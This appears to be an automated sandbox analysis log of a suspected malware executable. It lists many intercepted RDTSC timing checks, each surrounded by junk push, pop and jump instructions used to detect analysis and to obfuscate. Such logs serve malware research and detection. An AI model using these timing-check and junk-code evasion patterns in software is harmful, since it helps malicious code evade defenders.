Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 640081 second address: 640093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD0C38CFCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 640093 second address: 64009C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64009C second address: 6400A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6400A0 second address: 6400A6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 640224 second address: 64023C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38D04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64023C second address: 64025A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0DD07A5D24h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64025A second address: 64025E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64025E second address: 640262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 640262 second address: 64026E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64026E second address: 64027E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD07A5D1Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 641C06 second address: 641C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD0C38D07h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 648084 second address: 648090 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F0DD07A5D16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 648090 second address: 648094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646820 second address: 646831 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646831 second address: 646850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DD0C38D09h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646850 second address: 646889 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0DD07A5D16h 0x00000008 jmp 00007F0DD07A5D1Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F0DD07A5D21h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jng 00007F0DD07A5D2Dh 0x0000001c push eax 0x0000001d push edx 0x0000001e je 00007F0DD07A5D16h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646B17 second address: 646B2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38CFCh 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646C97 second address: 646CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F0DD07A5D16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646CA3 second address: 646CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646DE5 second address: 646E11 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0DD07A5D1Ch 0x00000008 jp 00007F0DD07A5D16h 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0DD07A5D1Bh 0x0000001b jmp 00007F0DD07A5D1Bh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646F3B second address: 646F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646F41 second address: 646F55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F0DD07A5D16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jnl 00007F0DD07A5D16h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646F55 second address: 646F7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 jmp 00007F0DD0C38D05h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646F7B second address: 646F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646F7F second address: 646F83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646F83 second address: 646FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0DD07A5D16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F0DD07A5D22h 0x00000012 ja 00007F0DD07A5D16h 0x00000018 jno 00007F0DD07A5D16h 0x0000001e push eax 0x0000001f push edx 0x00000020 jno 00007F0DD07A5D16h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 646FAB second address: 646FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6472CC second address: 6472D6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0DD07A5D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 647D4A second address: 647D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 647D4F second address: 647D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DD07A5D26h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64B162 second address: 64B166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64B166 second address: 64B170 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0DD07A5D16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64B170 second address: 64B17E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F0DD0C38CF6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64B17E second address: 64B197 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64B197 second address: 64B1BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DD0C38D08h 0x00000009 jmp 00007F0DD0C38CFAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64B1BD second address: 64B1C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64B60F second address: 64B613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64B79B second address: 64B7BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64EA03 second address: 64EA17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0DD0C38CFBh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64EA17 second address: 64EA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0DD07A5D26h 0x0000000b popad 0x0000000c jno 00007F0DD07A5D1Eh 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64EA48 second address: 64EA6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38CFCh 0x00000007 jmp 00007F0DD0C38CFDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64E2F4 second address: 64E310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0DD07A5D23h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64E310 second address: 64E314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64E314 second address: 64E318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 64E6F9 second address: 64E705 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007F0DD0C38CF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6565A0 second address: 6565B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F0DD07A5D1Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6565B0 second address: 6565D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38D05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F0DD0C38CF6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6565D3 second address: 6565D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 654463 second address: 65447A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007F0DD0C38CF6h 0x0000000e jo 00007F0DD0C38CF6h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6545ED second address: 6545F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6545F1 second address: 654664 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0DD0C38CFBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F0DD0C38D09h 0x00000010 push ebx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop ebx 0x00000016 jmp 00007F0DD0C38D04h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jl 00007F0DD0C38CF6h 0x00000025 jmp 00007F0DD0C38D01h 0x0000002a jmp 00007F0DD0C38D03h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 654D82 second address: 654D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 654D86 second address: 654DA1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F0DD0C38CFDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F0DD0C38CF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65565C second address: 655664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 655CAD second address: 655CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 655CB6 second address: 655CCB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F0DD07A5D1Bh 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65B0DD second address: 65B0E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65B0E3 second address: 65B0FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0DD07A5D1Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65B0FB second address: 65B0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65B0FF second address: 65B103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65A29A second address: 65A2A4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0DD0C38CFEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65AAF2 second address: 65AB21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD07A5D29h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jmp 00007F0DD07A5D1Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65AC3B second address: 65AC45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0DD0C38CF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65AC45 second address: 65AC49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65AC49 second address: 65AC55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65AC55 second address: 65AC59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 65AC59 second address: 65AC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0DD0C38D07h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 665C0A second address: 665C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 665D79 second address: 665D96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0DD0C38D03h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 665D96 second address: 665D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 666065 second address: 666069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 666228 second address: 666254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0DD07A5D16h 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d push esi 0x0000000e jns 00007F0DD07A5D16h 0x00000014 jl 00007F0DD07A5D16h 0x0000001a pop esi 0x0000001b pushad 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e jp 00007F0DD07A5D16h 0x00000024 je 00007F0DD07A5D16h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 666254 second address: 66625D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 66625D second address: 666261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 666261 second address: 66626B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0DD0C38CF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 666400 second address: 666404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6665A1 second address: 6665AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 66525F second address: 66526A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 66D77A second address: 66D7A2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0DD0C38CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0DD0C38D07h 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 66D7A2 second address: 66D7A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 66D7A7 second address: 66D7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 66D8FA second address: 66D8FF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 66DA6C second address: 66DA74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 66DA74 second address: 66DA7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 66DA7B second address: 66DA81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 66DA81 second address: 66DA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F0DD07A5D22h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 6735A3 second address: 6735EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0DD0C38CF6h 0x0000000a jmp 00007F0DD0C38D07h 0x0000000f jng 00007F0DD0C38CF8h 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F0DD0C38D05h 0x00000022 push eax 0x00000023 pop eax 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 679920 second address: 67992C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0DD07A5D16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 67992C second address: 679930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 679930 second address: 679959 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D28h 0x00000007 ja 00007F0DD07A5D16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 679959 second address: 679973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F0DD0C38D06h 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jbe 00007F0DD0C38CF6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 67C1B1 second address: 67C1BB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0DD07A5D16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 67C1BB second address: 67C1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F0DD0C38CF6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
